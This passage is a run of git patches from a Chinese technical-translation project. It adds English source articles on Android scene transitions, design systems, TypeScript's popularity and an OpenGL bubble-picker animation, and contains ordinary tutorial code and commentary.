+        returnnewTransitionBuilder(TransitionInflater.from(context).inflateTransition(R.transition.bali_details_enter_transition))
+
+                .excludeTarget(transitionName,true)
+
+                .excludeTarget(to.textViewTitle,true)
+
+                .excludeTarget(to.cardViewContainer,true)
+
+                .build();
+
+    }
+
+ 
+
+    privateTransition shared(){
+
+        returnnewTransitionBuilder(TransitionInflater.from(context).inflateTransition(android.R.transition.move))
+
+                .link(from.findViewById(R.id.headerImage),to.imageViewPlaceDetails,transitionName)
+
+                .link(from,to.cardViewContainer,cardViewTransitionName())
+
+                .build();
+
+    }
+
+}
+```
+
+So, recapping and describing everything above:
+
+1. RecyclerView’s item’s title is animated as a SharedElementTransition with [TextResize](https://github.com/googlesamples/android-unsplash/blob/master/app/src/main/java/com/example/android/unsplash/transition/TextResize.java) transition (it is a specific case, which is well described in this [video](https://www.youtube.com/watch?v=4L4fLrWDvAU)).
+2. The whole layout has a custom slide transition, implemented with some of kind start delay for a specific child.
+3. The RecyclerView’s item’s header and container have SharedElementTransition implemented with a Move transition – the default transition for Android’s framework.
+
+```
+XHTML
+
+<?xml version="1.0"encoding="utf-8"?>
+
+<transitionSet xmlns:android="http://schemas.android.com/apk/res/android"
+
+    android:transitionOrdering="together"
+
+    android:duration="500">
+
+    <slide
+
+        android:slideEdge="bottom"
+
+        android:interpolator="@android:interpolator/decelerate_cubic">
+
+        <targets>
+
+            <target android:targetId="@id/descriptionLayout" />
+
+        </targets>
+
+    </slide>
+
+ 
+
+    <slide
+
+        android:slideEdge="bottom"
+
+        android:interpolator="@android:interpolator/decelerate_cubic"
+
+        android:startDelay="100">
+
+        <targets>
+
+            <target android:targetId="@id/description" />
+
+        </targets>
+
+    </slide>
+
+ 
+
+    <fade
+
+        android:interpolator="@android:interpolator/decelerate_cubic"
+
+        android:startDelay="100">
+
+        <targets>
+
+            <target android:targetId="@id/description" />
+
+        </targets>
+
+    </fade>
+
+ 
+
+    <slide
+
+        android:slideEdge="bottom"
+
+        android:interpolator="@android:interpolator/decelerate_cubic"
+
+        android:startDelay="200">
+
+        <targets>
+
+            <target android:targetId="@id/takeMe" />
+
+        </targets>
+
+    </slide>
+
+</transitionSet>
+```
+
+With this set of different transitions we are able to create this “enter transition” for our layout:
+
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/04/ezgif.com-video-to-gif-1.gif?x77083)
+
+Looks awesome to me! But what about a returning scene? Look below!
+
+ 
+
+## RETURNING TO THE PREVIOUS Scene AND HANDLING *onBackPress* ##
+
+As you can remember, we have two methods in DetailsLayout – *showScene* and *hideScene.* We’ve just covered the first method, but what’s with the second method? Let’s cover it too!
+
+```
+publicstaticScene hideScene(Activity activity,finalViewGroup container,finalView sharedView,finalStringtransitionName){
+
+    DetailsLayout detailsLayout=(DetailsLayout)container.findViewById(R.id.bali_details_container);
+
+ 
+
+    TransitionSet set=newHideDetailsTransitionSet(activity,transitionName,sharedView,detailsLayout);
+
+    Scene scene=newScene(container,(View)detailsLayout);
+
+    TransitionManager.go(scene,set);
+
+    returnscene;
+
+}
+```
+
+Now, there are few changes. We’ve added the DetailsLayout to DetailsFragment’s container (the FrameLayout mentioned before). So, to obtain DetailsLayout, we have to call *findViewById* on this container. Then, we have to create the TransitionSet with specific targets and specified settings. For this purpose, I’ve also written another class which inherits from TransitionSet – HideDetailsTransitionSet. This is how it looks:
+
+```
+Java
+
+classHideDetailsTransitionSetextendsTransitionSet{
+
+    privatestaticfinalStringTITLE_TEXT_VIEW_TRANSITION_NAME="titleTextView";
+
+    privatestaticfinalStringCARD_VIEW_TRANSITION_NAME="cardView";
+
+    privatefinalStringtransitionName;
+
+    privatefinalView from;
+
+    privatefinalDetailsLayout to;
+
+    privatefinalContext context;
+
+ 
+
+    HideDetailsTransitionSet(finalContext ctx,finalStringtransitionName,finalView from,finalDetailsLayout to){
+
+        context=ctx;
+
+        this.transitionName=transitionName;
+
+        this.from=from;
+
+        this.to=to;
+
+        addTransition(textResize());
+
+        addTransition(shared());
+
+    }
+
+ 
+
+    privateStringtitleTransitionName(){
+
+        returntransitionName+TITLE_TEXT_VIEW_TRANSITION_NAME;
+
+    }
+
+ 
+
+    privateStringcardViewTransitionName(){
+
+        returntransitionName+CARD_VIEW_TRANSITION_NAME;
+
+    }
+
+ 
+
+    privateTransition textResize(){
+
+        returnnewTransitionBuilder(newTextResizeTransition())
+
+                .link(from.findViewById(R.id.title),to.textViewTitle,titleTransitionName())
+
+                .build();
+
+    }
+
+ 
+
+    privateTransition shared(){
+
+        returnnewTransitionBuilder(TransitionInflater.from(context).inflateTransition(android.R.transition.move))
+
+                .link(from.findViewById(R.id.headerImage),to.imageViewPlaceDetails,transitionName)
+
+                .link(from,to.cardViewContainer,cardViewTransitionName())
+
+                .build();
+
+    }
+
+}
+```
+
+In this case, we have *textResize**()* and *shared()* transitions once again. If you look closely at both methods, you will see that this TranstionBuilder has method *link()*. This method takes three parameters – sourceView, targetView and transitionName. It simply puts transitionName on sourceView and targetView, as well as placing it as a target on Transition object. So it’s used to “link” two views for Shared Element Transition.
+
+The rest looks the same. We create the Scene object, call TransitionManager*.go()* and voila! We have returned to the previous state!
+
+ 
+
+## CONCLUSION ##
+
+As we can see – the sky’s the limit! We are able to create meaningful transitions with activities, fragments and even the layouts! Scenes and Transitions are really powerful and can really improve the UI and UX. What are the benefits from this solution? First of all, we don’t have another lifecycle to care about.  Secondly, there are some libraries that help us to create “fragmentless” UI. Applied with Scenes and Transitions, we can develop a pretty nice app. Thirdly, this approach is really rare, however, I think it’s giving us more control.
+
+That’s all folks! Thank you very much for reading my series of posts, I hope you liked it!
+
+See you soon!
+
+Mariusz Brona aka panwrona
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From bfd7056ae4f456dbaaa4b32309396dcc68526557 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 4 May 2017 21:26:18 +0800
Subject: [PATCH 335/638] Create boring-design-systems.md

---
 TODO/boring-design-systems.md | 108 ++++++++++++++++++++++++++++++++++
 1 file changed, 108 insertions(+)
 create mode 100644 TODO/boring-design-systems.md

diff --git a/TODO/boring-design-systems.md b/TODO/boring-design-systems.md
new file mode 100644
index 00000000000..400a789a657
--- /dev/null
+++ b/TODO/boring-design-systems.md
@@ -0,0 +1,108 @@
+> * 原文地址：[The Most Exciting Design Systems Are Boring](https://bigmedium.com/ideas/boring-design-systems.html)
+> * 原文作者：[JOSH CLARK](https://bigmedium.com/about/josh-clark.html)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# The Most Exciting Design Systems Are Boring #
+
+[![Click to enlarge](https://bigmedium.com/bm.pix/normcore-lego-center.orig-250.jpg)](https://bigmedium.com/bm.pix/normcore-lego-center.jpg)
+
+Let us celebrate normcore design systems.
+    
+We’re building another enterprise design system, and we’re super-excited to make it boring.
+
+[Brad Frost](http://bradfrost.com), [Dan Mall](http://superfriend.ly), and I have just begun helping a big company express and communicate a design system to govern their many web products. The company has two decades of digital products and a slew of production teams. Over time, the UX, UI, and technical underpinnings of the company’s interfaces have drifted out of sync. The goal is to give production teams a consistent design language and pattern library to solve common visual, UX, and technical challenges.
+
+With projects like this, there’s often a strong temptation to throw out the old and start fresh with fancy new design components. “If we’re going to establish standards,” whispers the devil on your shoulder, “then let’s get rid of all the old stuff. Let’s blow it out with a new look, fancy interactions, and a shiny tech framework.” (Or my favorite: “Let’s make our own Material Design.”)
+
+Design-system builders should resist the lure of the new. Don’t confuse design-system work with a rebrand or a tech-stack overhaul. The system’s design patterns should be familiar, even boring.
+
+The job is not to invent, but to curate.
+
+## Solved problems and settled science ##
+
+Design systems are containers for institutional knowledge. They provide tested and proven solutions to design problems. When these solutions are held together by a consistent visual language and UX guidelines, they represent what good design looks like for the organization or platform.
+
+For projects like this one, we work with our client partners to identify the design problems their teams confront *over and over again*. And then we identify and extract the best solutions to those problems.
+
+The more common the problem, the better. Design systems should prioritize the mundane.
+
+This time around, we’re putting top priority on data entry, form validation, and messaging. Those aren’t exactly glamorous design experiences, but they’re where the company does its heavy lifting and where customers spend the most time. This is where boring gets exciting: how do you scale good, consistent, everyday design?
+
+[![Click to enlarge](https://bigmedium.com/bm.pix/lego-office.orig-250.jpg)](https://bigmedium.com/bm.pix/lego-office.jpg)
+
+Where’s the pain? We’re interviewing designers and developers to identify repetitive tasks.
+    
+The work starts with lots of user research, just like any other product. We’re talking to the company’s developers, designers, and product managers to identify repetitive tasks and unearth reinvented wheels. We’re doing a deep inventory of the company’s web apps to find the best-practice solutions to these problems. We’re doing a similar inventory of the company’s inconsistent visual styles to begin to reinforce a common visual language.
+
+At the end of the process, we’ll have a cookbook of design recipes for the company’s most *nutritious* business solutions. There will be lots more spinach here than design candy. That’s a good thing.
+
+## “Boring” design systems enable inventive designs ##
+
+When the design system is boring, it frees designers and developers to do the new stuff, to solve new problems. **The design system carries the burden of the boring, so that designers and developers don’t have to.**
+
+Instead of designing a card pattern for the 15th time, it’s already done. Product teams can instead put their time and energy into creating new experiences, new algorithms, new business logic.
+
+[![Click to enlarge](https://bigmedium.com/bm.pix/scientist.orig-250.jpg)](https://bigmedium.com/bm.pix/scientist.jpg)
+
+When the design system absorbs mundane problems, designers and developers are freed to pursue new science and higher-order problems.
+    
+This also means that a wonderfully boring design system does more than provide collections of buttons, color swatches, and code samples. Components are commodities. The magic happens in the guidelines that come with them. A great design system suggests which design patterns to use (along with the why and how) for specific circumstances. This elevates a collection of UI components into full-blown design patterns. Designers have readymade solutions for the company’s everyday problems.
+
+“Every moment spent saying, ‘should this be a popup or lightbox?’ is waste,” one design manager told us during our research for this latest project.
+
+## Faster, faster ##
+
+All of this leads to big speed increases. Big Medium helped a major retailer get their design systems group up and running, and the results have been, well, crazy. “We have a 10x increase in speed compared to how we worked before,” the group’s manager reports. “That is, we can do higher quality work 10x faster with a fourth the number of people.”
+
+[![Click to enlarge](https://bigmedium.com/bm.pix/before-after-design-system.orig-250.png)](https://bigmedium.com/bm.pix/before-after-design-system.png)
+
+Worth re-emphasizing: this speed and consistency does *not* have to mean cookie-cutter products. Instead, getting the boring stuff out of the way in the design system means product teams have running room to invent the new. In fact, the products are the laboratory for the system’s future patterns.
+
+## Invention happens in the products ##
+
+Designers and developers sometimes approach design systems or pattern libraries warily. While most appreciate the need for consistency, they worry that a design system will be too prescriptive and constraining, that there will be no room for new science. “A design system is like public transportation: it’s a good idea, for other people,” one designer told us in describing these mixed feelings.
+
+Done right, though, design systems actually encourage and reward innovation by product teams. Designers and developers can build upon, improve, and occasionally replace the design system’s recommendations.
+
+It should be a virtuous cycle. New ideas should be tried and tested in products. When good ideas prove out, they should be plucked out and included in the design system, so that future products can benefit. The latest solutions awesomely become the new boring.
+
+**Design systems should always extract their patterns from working code.** In our design system work, we do this in two ways:
+
+1. Extract proven patterns from legacy applications.
+2. Build pilot apps alongside the design system that prove out new and necessary design patterns.
+
+This is likewise how sturdy code frameworks emerge in the development world. Ruby on Rails was extracted from the first version of Basecamp, only *after* its core concepts had been proven in production. Design patterns and UX guidelines emerge from production projects, too.
+
+Design systems, like code frameworks, are no place for untested ideas. Extract proven ideas from production interfaces.
+
+## This is the canon ##
+
+[Dan](http://superfriend.ly) likes to use Star Wars (of course) as a metaphor for this process. The Star Wars universe is thick with unofficial tales—the novels, comic books, and fan fiction that build upon the films’ original backstory. That official story is [the Star Wars canon](https://en.wikipedia.org/wiki/Star_Wars_canon), which is carefully managed and groomed by Lucasfilm. The rest is known as “the expanded universe,” and all of its characters, species, galaxies, alliances, and so on are considered off script—until they’re not.
+
+Every so often, the minders of the Star Wars canon accept elements of the “expanded universe” into the official story. They, too, become canon.
+
+[![Click to enlarge](https://bigmedium.com/bm.pix/star-wars-virtuous-cycle.orig-250.jpg)](https://bigmedium.com/bm.pix/star-wars-virtuous-cycle.jpg)
+
+Everyone’s happy when you build a virtuous cycle between the design system (the canon) and applications (the extended universe).
+    
+In Dan’s metaphor, your company’s design system is your design canon. Others go out and build apps and new design patterns on top of it (the “expanded universe”). Some of those design patterns will be so useful and so in tune with good design at your company that they too will become canon.
+
+That’s the virtuous cycle between design system and product. If you’re the manager of the design system, you get to be the George Lucas of this story. Only you’ll need a lot more humility.
+
+## The humility of the work ##
+
+Successful design systems are in constant service to many audiences—designers, developers, product managers, and of course the end user.
+
+That spirit of service means that keepers of design systems have to keep ego at bay. A design system is not a place to push new frontiers but to gather settled solutions.
+
+Crafting a design system is about clearing the way for others to invent and imagine. And that means boring has never been so exciting.
+
+
+*Is your organization wrestling with inconsistent interfaces and duplicative design work? Big Medium helps big companies scale great design through design systems. [Get in touch](https://bigmedium.com/hire/) for a workshop, executive session, or design engagement.*
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 488076ac965fa281da2b3a1c513d42275701228e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 4 May 2017 21:33:55 +0800
Subject: [PATCH 336/638] Create typescript-getting-popular.md

---
 TODO/typescript-getting-popular.md | 91 ++++++++++++++++++++++++++++++
 1 file changed, 91 insertions(+)
 create mode 100644 TODO/typescript-getting-popular.md

diff --git a/TODO/typescript-getting-popular.md b/TODO/typescript-getting-popular.md
new file mode 100644
index 00000000000..bc33d6ff58a
--- /dev/null
+++ b/TODO/typescript-getting-popular.md
@@ -0,0 +1,91 @@
+> * 原文地址：[Why TypeScript Is Growing More Popular](https://thenewstack.io/typescript-getting-popular/)
+> * 原文作者：[Mary Branscombe](https://thenewstack.io/author/marybranscombe/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Why TypeScript Is Growing More Popular #
+
+![](https://cdn.thenewstack.io/media/2017/04/2fd01361-unnamed-1024x876.jpg)
+
+Why is [TypeScript](https://www.typescriptlang.org/) getting so popular? Key development frameworks depend on it and it improves developer productivity in the ever-changing JavaScript world.
+
+The recent [Stack Overflow Developer Survey](https://stackoverflow.com/insights/survey/2017#technology) and the annual [RedMonk](http://redmonk.com) programming [language rankings](https://redmonk.com/sogrady/2017/03/17/language-rankings-1-17/) both showed that [TypeScript](https://www.thenewstack.io/tag/TypeScript) — the open source project started by Microsoft to combine transpiling for advanced JavaScript features with static type checking and tooling — is reaching new heights of popularity. By providing[ minimal checking syntax on top of JavaScript](https://medium.com/@tomdale/glimmer-js-whats-the-deal-with-typescript-f666d1a3aad0), TypeScript allows developers to type check their code, which can [reveal bugs and generally improve the organization and documentation](https://slack.engineering/typescript-at-slack-a81307fa288d) of large JavaScript code bases.
+
+Nine and a half percent of the developers Stack Overflow surveyed are using TypeScript, making it the ninth most popular language, just ahead of Ruby and twice as popular with that audience as Perl. Stack Overflow reaches a diverse audience in this survey; the top two languages used are JavaScript and SQL, so this survey isn’t just querying front end development. In fact, TypeScript coders show up in all four of the job roles Stack Overflow asks about; web developers, desktop developers, admins and DevOps, and data scientists.
+
+RedMonk’s rankings combine the Stack Overflow numbers with GitHub pull requests to find out what developers are thinking about, as well as what they’re using. TypeScript has also gained popularity with this audience of developers, moving from 26 to 17 in the rankings. Some of that is down to interest on Stack Overflow, but mostly it’s because of the increased developer involvement on GitHub.
+
+Indeed, GitHub’s own 2016 [State of the Octoverse](https://octoverse.github.com/) puts TypeScript as the 15th most popular of the 316 programming languages developers use for projects on GitHub (based on both the number of pull requests and the 250 percent increase in pull requests for TypeScript over the previous year).
+
+TypeScript also has both the highest usage (21 percent) and the highest interest among those not yet using it (39 percent) among the various “alternative” JavaScript [flavors](http://stateofjs.com/2016/flavors/) in another survey of developers. The methodology of this survey is unusual — it rather strangely conflates transpilers with package managers like [npm](https://www.npmjs.com/) and [Bower](https://bower.io/) — but the developers who responded to the survey and use TypeScript also commonly use [ECMAScript 2015](http://www.ecma-international.org/ecma-262/6.0/), [NativeScript](https://www.nativescript.org/), [Angular](https://angular.io/), and especially Angular2.
+
+RedMonk’s [Stephen O’Grady ](http://redmonk.com/team/stephen-ogrady/)notes that “it seems reasonable to suspect that Angular is playing a role” in the increasing popularity of TypeScript. Angular2 is just one of the projects that has adopted TypeScript though (Asana and Dojo already used it, as do internal projects at Adobe, Google, Palantir, SitePen and eBay). But it might be the best known — with Google employees like Rob Wormald [@robwormald] evangelizing TypeScript alongside Angular.
+
+## Not Just Angular2 ##
+
+“There’s no doubt the partnership that we have with the Angular team has helped drive the numbers,” core TypeScript developer [Anders Hejlsberg ](https://twitter.com/ahejlsberg?lang=en)told The New Stack. “That goes without saying; but even so, I think the real point is that it was a massive vote of confidence on the part of an important industry force.”
+
+That vote of confidence is broader than just Angular, he pointed out. “Lots of other frameworks are using TypeScript at this point. [Aurelia](http://aurelia.io/), [Ionic](https://ionicframework.com/), NativeScript are all, in one way or another, involved in TypeScript. The [Ember ](https://www.emberjs.com/)framework, the [Glimmer ](https://github.com/glimmerjs)framework that was just released is written in TypeScript.”
+
+> “We’re seeing a pretty large vote of confidence by a lot of people who have a lot of experience in this industry and I think that’s probably what everyone at large is noticing,” — Anders Hejlsberg
+
+That vote of confidence brings framework users on board too. “We’ve done a lot of work to be a really great citizen in the[ React ecosystem](https://facebook.github.io/react/). We support [JSX](https://jsx.github.io/), we support all the advanced type system features that you want like refactoring and code navigation on JSX markup. We’re also now working with the [Vue.js](https://vuejs.org/) community to provide better support for the patterns used in the framework,” Hejlsberg said.
+
+Adding support for new frameworks is an important part of staying popular with developers. “We’re always on the lookout when it comes to frameworks. We understand that this a very dynamic ecosystem. It changes a lot; you’ve got to stay on your toes and work well with everything.”
+
+The same is true for the tooling pipeline, especially as ECMAScript modules become more popular. “A lot of people writing modern style JavaScript apps use modules, and when you’re using ECMAScript 6 modules you need a bundler to bundle up your code so it can run in a browser, like [Webpack](https://webpack.github.io/) or [Rollup.js](https://rollupjs.org/). We make sure to work well with those tools so we fit into the whole pipeline,” Hejlsberg said.
+
+[![](https://cdn.thenewstack.io/media/2017/04/940acc19-stateofthenation.png)](http://vmob.me/DE1Q17)
+
+React is a library with Facebook roots. Angular is a Google-spawned framework. There is abundant analysis comparing them, and in general, it shows that Angular trails, with Vue.js getting significant buzz. Angular has seen a lot of uptake among TypeScript fans, with 41 percent prioritizing 2.x and another 18 percent favoring the older version. With the recent release of Angular 4 and TypeScript’s growing popularity, we expect the JavaScript wars to continue (Lawrence Hecht).
+
+There’s also been the same steady growth in the number of libraries with TypeScript definitions. [DefinitelyTyped](http://definitelytyped.org/), a  repository for TypeScript typed definitions, now has over 3,000 frameworks and libraries. That’s accelerated by automatically scraping and publishing declaration files as npm packages under the @type namespace.
+
+“That means there’s now a very predictable way of discovering what framework have types – and we can auto provision the types. When we see you’re importing a particular framework we can go find types for you so you don’t have to do it anymore.” In fact, Hejlsberg claimed, “for some developers, that’s becoming a decision factor when they pick a framework; whether they can work with a framework and get types.”
+
+> “Often the way TypeScript ends up being adopted — in enterprises and start-ups and individual developers — is that you try it on one project and you say ‘wow, this is great!’ and then you start evangelizing and it grows locally in your sphere of influence.”— Anders Hejlsberg
+
+The general rise in interest seems to be one of organic growth. “We don’t do any advertising whatsoever, this is all driven by the community. It’s actually steady growth and we’re just starting to notice the larger numbers now,” Hejlsberg said.
+
+Hejlsberg notes that TypeScript is also the third most loved language in the Stack Overflow survey after Rust and Smalltalk (and just ahead of Swift and go) and the sixth most wanted language, head of both C# and Swift. “I think that speaks a lot to the fact that we’re actually solving real problems,” Hejlsberg said.
+
+## Microsoft’s Sphere of Influence ##
+
+It’s easy to view the success of TypeScript as Microsoft bringing enterprise developers who are already in the Microsoft world to JavaScript via familiar tools.
+
+“We obviously have a large developer ecosystem already with C# and C++ and Visual Basic. Lots of enterprises use Microsoft tooling and they also have front ends, and when we start improving the world on the front end side, they sit up and take notice and start using that,” Hejlsberg admitted.
+
+But while a lot of TypeScript development is done in [Visual Studio](https://www.visualstudio.com/), just as much is done in[ Visual Studio Code](https://code.visualstudio.com/), Microsoft’s open source, cross-platform IDE. “That’s a community we increasingly did not have all that much of a connection to. For Visual Studio Code, half of our users are not on Windows, so all of a sudden we’re having a conversation with a developer community that we did not really converse much with previously.”
+
+## Open Source and on the Fast Track ##
+
+The TypeScript team recently announced that releases will now happen every two months rather than quarterly, which Heljsberg called an attempt to make release dates more predictable, rather than holding up a new release to get a particular feature in. That’s the same approach that the ECMAScript committee is taking.
+
+The new release cadence for TypeScript is also aligned with the Visual Studio Code schedule; partly because Visual Studio Code is actually written in TypeScript, but also because tooling is a key part of the appeal of TypeScript.
+
+While it’s important that TypeScript supports multiple editors and IDEs, Hejlsberg noted that Visual Studio Code is another factor helping with the popularity of the language.
+
+In fact, you get better coding features because of TypeScript, even if you only write in JavaScript, he explained. “Visual Studio Code and Visual Studio both use the TypeScript language service as their language service for JavaScript. Since TypeScript a superset of JavaScript, that means JavaScript is a subset of TypeScript it’s really just TypeScript without type annotations,” he noted.
+
+In Visual Studio Code, opening a JavaScript file will trigger a TypeScript parser, scanner, lexer and type analyzer to provide statement completion and code navigation in the JavaScript code. “Even though there are no type annotations, we can infer an awful lot about a project structure just from the modules you’re using and the classes you’re declaring,” Hejlsberg said. “We can go and auto-provision type information for the framework you’re importing then we can give you excellent statement completion in JavaScript, which actually surprises the heck out of people.”
+
+What makes this fast cadence possible are the tests required for pull requests to be accepted, guaranteeing the quality of the master branch, and the popularity of TypeScript, which means any problems are found quickly.
+
+“We’re an open source project, we do a lot of work on GitHub. And we never take pull requests unless they pass all the 55,000 tests that we have, and unless they come with new tests if you’re implementing a new feature, or regressions test if it is fixing a bug. That means our master branch is always in very good shape,” he said.
+
+## JavaScript: Powerful but Complex ##
+
+More than any single factor, what might really be behind the increasing popularity of TypeScript is how complex JavaScript development has become, and also how powerful it can be.
+
+“Our industry and our usage of JavaScript has changed dramatically,” Hejlsberg pointed out. “It used to be that we lived in a homogenous world where everyone was running Windows and using a browser, and that was how you got JavaScript. Now the world has become very heterogeneous. There are all sorts of different devices — phones and tablets, and running JavaScript on the backend with node, and JavaScript has jumped out of the browser using things like NativeScript or React Native or Cordova that allows you to build native apps using JavaScript.”
+
+“Yes it’s more complicated but it’s also infinitely more capable,” Hejlsberg said of JavaScript. “You can reach so many different application profiles with JavaScript, with a single language and toolset. To me, that’s what is fueling all of this: The incredible breadth of the kinds of apps you can build, and the kinds of reusability and leverage you can get in this evolving ecosystem. It’s not just got more complex; it’s also gotten way more capable.”
+
+*TNS analyst [Lawrence Hecht](https://thenewstack.io/author/lawrence-hecht/) contributed to this report.*
+
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 0c7b83d941e729c001bebc061bfe47e6fb3720d7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 4 May 2017 21:51:34 +0800
Subject: [PATCH 337/638] Create
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...icker-a-colourful-animation-for-android.md | 315 ++++++++++++++++++
 1 file changed, 315 insertions(+)
 create mode 100644 TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
new file mode 100644
index 00000000000..e5b7881276c
--- /dev/null
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -0,0 +1,315 @@
+> * 原文地址：[How We Created BubblePicker – a Colorful Menu Animation for Android](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/)
+> * 原文作者：[Irina Galata](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/) [Yuliya Serbenenko](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# How We Created BubblePicker – a Colorful Menu Animation for Android #
+
+We’re used to mobile applications supporting various types of interactions such as sliding gestures to select, or to drag and drop. What we tend to forget is that there is a growing trend toward unifying the user experience across platforms. 
+
+In the early days, iOS and Android each had their own unique feel, but recently they have been growing closer together in terms of the way applications are designed and interactions happen. With [bottom navigation](https://material.io/guidelines/components/bottom-navigation.html#) and split screen features now available in Android Nougat, Android has a lot in common with iOS these days.
+
+For designers, this coalescing of design languages means that we can often adjust popular features that were once associated with one platform for apps designed for the other.
+
+Recently, to keep up with the trend of merging design styles across platforms, we worked on an Android animation that is inspired by the popular bubble animation in Apple music. Our task was to develop an interface that was easy enough for novice users but that still felt interesting for more experienced users.
+
+Our vibrant [BubblePicker](https://github.com/igalata/Bubble-Picker) is a great way to make an app more content-focused, original, and fun. Google is rolling out their “Material Design” language across all their products, but nevertheless, we decided to experiment with bold colors and gradients this time around to add more depth and volume to the image. Gradients might be the major visual in the display and might attract the attention of new visitors.
+
+![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2328/content_1_gradients.jpg)
+
+Our component has a white background with lots of bright colors and graphics against it. 
+
+This high contrast is very helpful for apps rich in content, where users have to choose from a list of options. For example, in our concept we used bubbles to hold the names of potential destinations within a travel app. Bubbles float freely, and when a user taps on one of them, the tapped bubble grows in size.
+
+![](https://yalantis-com-dev-06-09.s3.amazonaws.com/uploads/ckeditor/pictures/2329/content_discover_animation.gif)
+
+Moreover, we provide developers with the opportunity to customize the elements of the screen to make the animation suit any app.  
+
+While working on this animation we had to deal with the following five challenges:
+
+### **1. Choosing the optimal development tools** ###
+
+It became clear to us that rendering such a fast animation on Canvas wouldn’t be efficient enough, so we decided to use OpenGL (Open Graphics Library). OpenGL is a cross-platform application programming interface for 2D and 3D graphics rendering. Fortunately, Android supports some versions of OpenGL.
+
+We needed to make our circles move naturally, just as gas bubbles do in a fizzy drink. There are plenty of physics engines available for Android, but we had specific requirements that made it significantly more difficult to make a choice: the engine needed to be lightweight and easy to embed in the Android library. Most engines are developed for games and require you to adapt the project structure to them. After some research we found JBox2D (a Java port of the Box2D engine written in C++); and since our animation isn’t supposed to be used with a great number of physical bodies (in other words it’s not designed for 200 or more objects) we could get away with using a Java port instead of the original engine.
+
+Also, later in this article we’ll explain our choice of programming language (Kotlin) and talk about the advantages of this new language.To find out more about the difference between Java and Kotlin you can read our review in [our previous article](https://yalantis.com/blog/kotlin-vs-java-syntax/).
+
+### **2. Creating shaders** ###
+
+To begin with, it’s important to understand that the building block in OpenGL is a triangle since it’s the simplest shape that can approximate other shapes. Any shape that you create in OpenGL will consist of one or more triangles. To implement our animation we used two combined triangles for every body, so it looks like a square, where I can draw the circle.
+
+To render a shape you need to write at least two shaders – a vertex shader and a fragment shader. The difference between these two is evident by their names. A vertex shader is executed for each vertex of each triangle, while a fragment shader is executed for every pixel-sized part of the triangles. 
+
+![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2330/content_3.jpg)
+
+Vertex shaders are used to control transformations of the shape (e.g scaling, position, rotation), while fragment shaders are responsible for the color of the sample. 
+
+```
+    // language=GLSL
+    val vertexShader = """
+        uniform mat4 u_Matrix;
+    
+        attribute vec4 a_Position;
+        attribute vec2 a_UV;
+    
+        varying vec2 v_UV;
+    
+        void main()
+        {
+            gl_Position = u_Matrix * a_Position;
+            v_UV = a_UV;
+        }
+    """// language=GLSL
+    val fragmentShader = """
+        precision mediump float;
+    
+        uniform vec4 u_Background;
+        uniform sampler2D u_Texture;
+    
+        varying vec2 v_UV;
+    
+        void main()
+        {
+            float distance = distance(vec2(0.5, 0.5), v_UV);
+            gl_FragColor = mix(texture2D(u_Texture, v_UV), u_Background, smoothstep(0.49, 0.5, distance));
+        }
+    """
+```
+
+Shaders are written in GLSL (OpenGL Shading Language) and must be compiled at runtime. If you code in Java, the most convenient way to do that is to write your shaders in a separate file and retrieve them using an input stream. As you can see, Kotlin lets developers create shaders in classes more conveniently by putting any multiline code in triple quotes (""").
+
+In GLSL there are several types of variables: 
+
+- Uniform variables hold the same value for all vertices and fragments
